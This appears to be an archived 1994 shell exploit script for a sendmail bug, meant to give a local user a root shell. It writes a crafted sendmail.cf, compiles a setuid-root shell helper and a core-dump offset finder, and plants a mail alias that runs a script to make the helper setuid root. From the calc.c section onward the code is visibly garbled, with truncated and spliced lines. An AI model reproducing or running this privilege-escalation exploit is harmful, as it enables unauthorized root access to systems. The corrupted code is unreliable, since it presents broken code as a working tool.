#           ..:-={{Collaborative Security Information Center}}=-:..
#          X-TREME & TECHNOTRONIC Security Collaboration Project
#     http://www.technotronic.com  -=©=-  http://www.x-treme.abyss.com
#
# exploit new sendmail bug to give us a root shell v1.0  24 mar 94
#
# "Long Version" - Since we don't know exactly how to get sendmail
#                  to decode aliases with a small config file, I
#                  took a cf file from pine, trimmed it, and it
#                  works fine.
#
# location of sendmail
SENDMAIL=/usr/lib/sendmail
 
# real location of original sendmail.cf file.. no links allowed!
CONFIG=/etc/sendmail.cf
 
# program to execute as root
SHELL=/bin/csh
 
TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR
 
cp $SENDMAIL sm
chmod 700 sm
 
echo "Creating mail config file..." 
cat > /tmp/sm.cf << _EOF_
V5
Cwlocalhost
CP.
DS
DR
DH
DM\$j
CLroot
CEroot
CO @ % !
C..
Kdequote dequote
CPREDIRECT
De\$j Sendmail \$v/\$Z ready at \$b
DlFrom \$g  \$d
DnMAILER-DAEMON
Do.:%@!^/[]
Dq\$?x\$x <\$g>\$|\$g\$.
DZ2.1
O7False
Oa10
OA/tmp/aliases
Ob20
OB.
OcFalse
OC10
Odbackground
ODFalse
Oem
OfTrue
OF0600
OGFalse
Og1
Oh25
OiFalse
OI
OjFalse
OJ\$z/.forward.\$w:\$z/.forward
Ok2
OK5m
OlFalse
OL9
OmTrue
OnTrue
OoTrue
Opneedmailhelo
OQ/var/spool/mqueue
OsTrue
OT3d/4h
Ou0
OU
OwTrue
Ox8
OX12
OYFalse
Pfirst-class=0
Pspecial-delivery=100
Plist=-30
Pbulk=-60
Pjunk=-100
Troot
Tdaemon
Tuucp
H?P?Return-Path: \$g
HReceived: \$?sfrom \$s \$.\$?_(\$_) \$.by \$j (\$v/\$Z)\$?r with \$r\$. id \$i\$?u for \$u\$.; \$b
H?D?Resent-Date: \$a
H?D?Date: \$a
H?F?Resent-From: \$q
H?F?From: \$q
H?x?Full-Name: \$x
HSubject:
H?M?Resent-Message-Id: <\$t.\$i@\$j>
H?M?Message-Id: <\$t.\$i@\$j>
S3
R\$@                    \$@ <@>
R\$*<\$*>\$*<\$*>\$*            \$2\$3<\$4>\$5                  strip multiple <> <>
R\$*<\$*<\$+>\$*>\$*            <\$3>\$5                                2-level <> nesting
R\$*<>\$*                       \$@ <@>                         MAIL FROM:<> case
R\$*<\$+>\$*            \$2                             basic RFC821/822 parsing
R\$*:;\$*                       \$@ \$1 :; <@>
R@ \$+ , \$+            @ \$1 : \$2                     change all "," to ":"
R@ \$+ : \$+            \$@ \$>96 < @\$1 > : \$2                handle <route-addr>
R \$+ : \$* ; @ \$+     \$@ \$>96 \$1 : \$2 ; < @ \$3 > list syntax
R \$+ : \$* ;           \$@ \$1 : \$2;                  list syntax
R\$+ @ \$+              \$: \$1 < @ \$2 >                       focus on domain
R\$+ < \$+ @ \$+ >              \$1 \$2 < @ \$3 >                       move gaze right
R\$+ < @ \$+ >          \$@ \$>96 \$1 < @ \$2 >         already canonical
R\$- ! \$+              \$@ \$>96 \$2 < @ \$1 .UUCP >   resolve uucp names
R\$+ . \$- ! \$+                \$@ \$>96 \$3 < @ \$1 . \$2 >           domain uucps
R\$+ ! \$+              \$@ \$>96 \$2 < @ \$1 .UUCP >   uucp subdomains
R\$* % \$*              \$1 @ \$2                               First make them all @s.
R\$* @ \$* @ \$*                \$1 % \$2 @ \$3                 Undo all but the last.
R\$* @ \$*              \$@ \$>96 \$1 < @ \$2 >         Insert < > and finish
S96
R\$* < @ localhost > \$*                \$: \$1 < @ \$j . > \$2         no domain at all
R\$* < @ localhost . \$m > \$*  \$: \$1 < @ \$j . > \$2         local domain
R\$* < @ localhost . UUCP > \$* \$: \$1 < @ \$j . > \$2         .UUCP domain
R\$* < @ [ \$+ ] > \$*          \$: \$1 < @ [[ \$2 ]] > \$3             catch [a.b.c.d]
R\$* < @ [ \$=w ] > \$*         \$: \$1 < @ \$j . > \$3         self-literal
R\$* < @ [[ \$+ ]] > \$*                \$: \$1 < @ [ \$2 ] > \$3               strip dbl [[]]
R\$* < @ \$+ . UUCP > \$*               \$@ \$1 < @ \$2 . UUCP > \$3
R\$* < @ \$* \$~P > \$*         \$: \$1 < @ \$[ \$2 \$3 \$] > \$4
R\$* < @ \$j > \$*                      \$: \$1 < @ \$j . > \$2
S4
R\$*<@>                 \$@ \$1                         handle <> and list:;
R\$* < @ [ \$+ ] > \$*  \$: \$1 < @ \$[ [\$2] \$] > \$3 lookup numeric internet addr
R\$* < @ \$+ . > \$*    \$1 < @ \$2 > \$3
R\$* < \$+ > \$*                \$1 \$2 \$3                     defocus
R@ \$+ : @ \$+ : \$+    @ \$1 , @ \$2 : \$3             <route-addr> canonical
R@ \$*                  \$@ @ \$1                               ... and exit
R\$+ @ \$- . UUCP               \$2!\$1                         u@h.UUCP => h!u
R\$+ % \$=w @ \$=w              \$1 @ \$j                               u%host@host => u@host
S97
R\$*                    \$: \$>3 \$1
R\$*                    \$@ \$>0 \$1
S0
R<@>                    \$#local \$: <>                 special case error msgs
R\$*:;<@>               \$#error \$@ USAGE \$: "list:; syntax illegal for recipient addresses"
R\$* < @ [ \$+ ] > \$*  \$: \$1 < @ \$[ [\$2] \$] > \$3 numeric internet addr
R\$* < @ [ \$+ ] > \$*  \$: \$>98 \$1 < @ [ \$2 ] > \$3 numeric internet spec
R\$* < @ [ \$+ ] > \$*  \$#smtp \$@ [\$2] \$: \$1 @ [\$2] \$3   still numeric: send
R\$* < @ > \$*          \$@ \$>97 \$1           user@ => user
R< @ \$=w . > : \$*     \$@ \$>97 \$2           @here:... -> ...
R\$* \$=O \$* < @ \$=w . >      \$@ \$>97 \$1 \$2 \$3           ...@here -> ...
R\$*                    \$: \$>98 \$1
R\$+ < @ \$=w . >               \$: \$1 < @ \$2 @ \$H >         first try hub
R\$+ < \$+ @ \$+ >              \$#local \$: \$1                        yep ....
R\$+ < \$+ @ >          \$#local \$: @ \$1                      nope, local address
R< @ \$=Z . UUCP > : \$+                \$#uucp-dom \$@ \$1 \$: \$2     @host.UUCP: ...
R\$+ < @ \$=Z . UUCP >          \$#uucp-dom \$@ \$2 \$: \$1     user@host.UUCP
R< @ \$=Y . UUCP > : \$+                \$#suucp \$@ \$1 \$: \$2        @host.UUCP: ...
R\$+ < @ \$=Y . UUCP >          \$#suucp \$@ \$2 \$: \$1        user@host.UUCP
R< @ \$=U . UUCP > : \$+                \$#uucp \$@ \$1 \$: \$2 @host.UUCP: ...
R\$+ < @ \$=U . UUCP >          \$#uucp \$@ \$2 \$: \$1 user@host.UUCP
R\$*<@\$+.BITNET>\$*    \$: \$>95 < \$B > \$1 <@\$2.BITNET> \$3 user@host.BITNET
R\$*<@\$*.UUCP>\$*              \$: \$>95 < \$Y > \$1 @ <\$2.UUCP> \$3  uucp mail
R\$* < @ \$* > \$*              \$: \$>95 < \$S > \$1 < @ \$2 > \$3     glue on smarthost name
R\$* < @\$* > \$*               \$#smtp \$@ \$2 \$: \$1 < @ \$2 > \$3           user@host.domain
R\$+                    \$: \$(dequote \$1 \$)          strip quotes
R\$+ \$=O \$+           \$@ \$>97 \$1 \$2 \$3                   try again
R\$=L                   \$#local \$: @ \$1                      special local names
R\$+                    \$#local \$: \$1                        regular local names
S5
R\$+                    \$: \$>95 < \$R > \$1                   try relay
R\$+                    \$: \$>95 < \$H > \$1                   try hub
S95
R< > \$*                        \$@ \$1                         strip off null relay
R< \$- : \$+ > \$*              \$# \$1 \$@ \$2 \$: \$3         try qualified mailer
R< \$=w > \$*           \$@ \$2                         delete local host
R< \$+ > \$*            \$#relay \$@ \$1 \$: \$2                use unqualified mailer
S98
R\$* < @ \$+ .REDIRECT >        \$# error \$@ NOUSER \$: "551 User not local; please try " <\$1@\$2>
Mlocal,         P=/bin/mail, F=lsDFMfmnPS, S=10, R=20/40,
                A=mail -d \$u
Mprog,          P=/bin/sh, F=lsDFMeuP, S=10, R=20/40, D=\$z:/,
                A=sh -c \$u
S10
R<@>                    \$n                     errors to mailer-daemon
R\$+                    \$: \$>40 \$1
S20
R\$+ < @ \$* >          \$: \$1                 strip host part
S40
Msmtp,          P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n,
                L=990, A=IPC \$h
Mesmtp,         P=[IPC], F=mDFMuXa, S=11/31, R=21, E=\r\n,
                L=990, A=IPC \$h
Mrelay,         P=[IPC], F=mDFMuXa, S=11/31, R=51, E=\r\n,
                L=2040, A=IPC \$h
S11
R\$+                    \$: \$>51 \$1                   sender/recipient common
R\$* :; <@>             \$@ \$1 :;                      list:; special case
R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
R\$*                    \$@ \$>61 \$1
R\$+                    \$: \$>51 \$1
R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
R\$+                    \$: \$1 < @ \$j >                       add local domain
S31
R\$+                    \$: \$>51 \$1                   sender/recipient common
R\$* :; <@>             \$@ \$1 :;                      list:; special case
R\$* <@> \$*            \$@ \$1 <@> \$2                 pass null host through
R< @ \$* > \$*          \$@ < @ \$1 > \$2                       pass route-addr through
R\$=E < @ \$=w . >      \$@ \$1 < @ \$2 >                       exposed user as is
R\$* < @ \$=w . >               \$: \$1 < @ \$M >                       masquerade as domain
R\$* < @ >              \$: \$1 < @ \$j >                       in case \$M undefined
R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
R\$*                    \$@ \$>61 \$1
S51
R< @ \$+ > \$*          \$@ < @ \$1 > \$2                       resolve <route-addr>
R\$+ <@ \$+ . BITNET >  \$: \$1 % \$2 .BITNET < @ \$B > user@host.BITNET
R\$+.BITNET <@ \$+:\$+ >        \$: \$1 .BITNET < @ \$3 >               strip mailer: part
R\$+ <@ \$+ . UUCP >    \$: \$2 ! \$1 < @ \$j >         user@host.UUCP
S61
R\$=E                   \$@ \$1 < @ \$j>                        show exposed names
R\$+                    \$: \$1 < @ \$M >                       user w/o host
R\$+ <@>                        \$: \$1 < @ \$j >                       in case \$M undefined
Muucp,          P=/usr/bin/uux, F=DFMhuU, S=12, R=22, M=100000,
                A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
Msuucp,         P=/usr/bin/uux, F=mDFMhuU, S=12, R=22, M=100000,
                A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
Muucp-dom,      P=/usr/bin/uux, F=mDFMhu, S=52/31, R=21, M=100000,
                A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
S12
R<@>                            \$n                     errors to mailer-daemon
R\$* :; <@>                     \$@ \$1 :;
R\$* < @ \$* . >                        \$1 < @ \$2 >           strip trailing dots
R\$* < @ \$j >                  \$1                     strip local name
R\$* < @ \$- . UUCP >           \$2 ! \$1                       convert to UUCP format
R\$* < @ \$+ >                  \$2 ! \$1                       convert to UUCP format
R\$+                            \$: \$U ! \$1           prepend our name
S22
R\$* :; <@>                     \$@ \$1 ;:
R\$* < @ \$* . >                        \$1 < @ \$2 >           strip trailing dots
R\$* < @ \$j >                  \$1                     strip local name
R\$* < @ \$- . UUCP >           \$2 ! \$1                       convert to UUCP format
R\$* < @ \$+ >                  \$2 ! \$1                       convert to UUCP format
S52
R<@>                            \$n                     errors to mailer-daemon
R\$*                            \$@ \$>11 \$1
_EOF_
 
echo "Creating setid0..."
cat > setid.c << _EOF_
 
/* set uid to zero, thus escaping the annoying csh and solaris sh
 * problem..
 *
 * if (getuid() != geteuid()) {
 *  printf("permission denied, you root-hacker you.\n");
 *  exit(1);
 * }
 */
 
#include <stdio.h>
 
main(argc, argv)
int argc;
char *argv[];
{
 setuid(0);
 setgid(0);
 seteuid(0);
 setegid(0);
 
 if (getuid()) {
  printf("setuid(0); failed!  aborting..\n");
  exit(1);
 }
 
 if (argc !=2) {
  printf("executing /bin/sh...\n");
  system("/bin/sh");
 }
  else
 {
  printf("executing %s...\n", argv[1]);
  system(argv[1]);
 }
}
_EOF_
 
cc -o setid0 setid.c
 
echo "Creating calc..."
 
cat > calc.c << _EOF_
/*
 * Determines offset in sendmail of
 * sendmail.cf file location.
 */
#include <fcntl.h>
 
gencore()
{
  int pid;
  int fd[2];
 
  if(pi(fd) < 0) {
    perror("pipe");
   exit(1);
    return(0);
  }
  pid = fork(nt f = open("./out", ORDWR|O_CREAT, 0666);
    dup2(f, 1); dup2(fd[0], 0);
 close(fd[1]); close(fd[0]);
    execl("./s","sm","-d0-9.90","-oQ.","-bs", 0);
    sleep(2);
    kill(pid, 11);
  }
 );
  close(fd[1]);
}
 
main(argc,ar **agv;
int argc;
{
  unsigned int ConfFile,tTdvect,off;
 
  gencore();
  sc(orever to figure this out. */
  tTdvect = find("ZZZZZZZZ", "core");
  ConfFile =);
 le) {
   /*
    *not found, argh, we fucked up.  should not happen, unless you
$CONFIG filename or you don't have the bug.
    * There could also be a probation data
    * being encrypted in some lame fashion or a corewas not able
   to be generated (Reports say in some systems, a SEGV will
    * cause sendmail  there w    * can still be done by hand :-)
    */
   return(1);
  }
  off = ConfFiletf(.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  off, '/', off+, 't', off+2, ''/', off+5, 'f7, '.', off+8, 'c', off+9, 'f', off+10);
}
 
int find(pattern, file
char *pafd;
 ;
 
  fd = open(file, 0);
 
  i = 0;
  addr = 0;
  while(read(fd, &c, 1) == 1f(pattern[i] == c)
      i++;
    elsatteraddr -= strlen(attern);
      return(addr);
    }
    addr++;
  }
  return(0-o ca"Scanning core image for $CONFIG.."
 
DEBUGFLAGS=`calc $CONFIG`
 
echo ..."
echo "#!/bin/sh
# this program will be executed when mailis sent to the faris sh and run hen euid != realuid,
# we instead run the program we compiled above.
 od 6755 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
 
" > alias.sh
 
chm.she alias file..."
echo "yash: |$TEMPDIR/alias.sh" > /tmp/aliases
 
echo "Makin..."
echo "
helo
mail from: <nobody>
rcpt to: <yash>
data
hack hack hack
.
IL $DEBUGFLAGSle sytems so it appears as a suid file.
sync
 
# cleanup in 4 s rm -f $TEMPDIR ; rm -f /tmp/sm.cf ; rm -f /tmp/aliases) etid0 ]
then
 echo "stid0 is a suid shell.  executing..."
 $TEMecho "end of script."
 exit 0
else
 echo "setid0 is nopt failed."
 exit 1
fi
